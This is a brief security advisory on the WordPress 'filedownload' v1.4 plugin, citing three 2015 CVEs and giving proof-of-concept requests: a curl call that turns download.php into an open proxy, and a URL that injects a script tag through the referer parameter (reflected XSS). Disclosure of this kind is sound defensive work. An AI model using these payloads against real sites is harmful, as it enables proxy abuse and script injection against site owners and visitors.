Open Proxy in filedownload v1.4 wordpress plugin

#891 · 2015-07-11

CVE ID(s): CVE-2015-1000002, CVE-2015-1000003, CVE-2015-1000004

Notified: 2015-07-11

Description:

Creates a downloadlink with the browsers SaveAs dialog for all available filetypes. A download counter can be shown on the post and admin area.

Exploit:

$ curl "http://www.vapidlabs.com/wp-content/plugins/filedownload/download.php?path=http://www.google.com"

http://www.vapidlabs.com/wp-content/plugins/filedownload/download.php?path=www.google.com&referer="><script>alert(1);</script>

Download: https://wordpress.org/plugins/filedownload/

URL: http://www.vapidlabs.com/advisory.php?v=140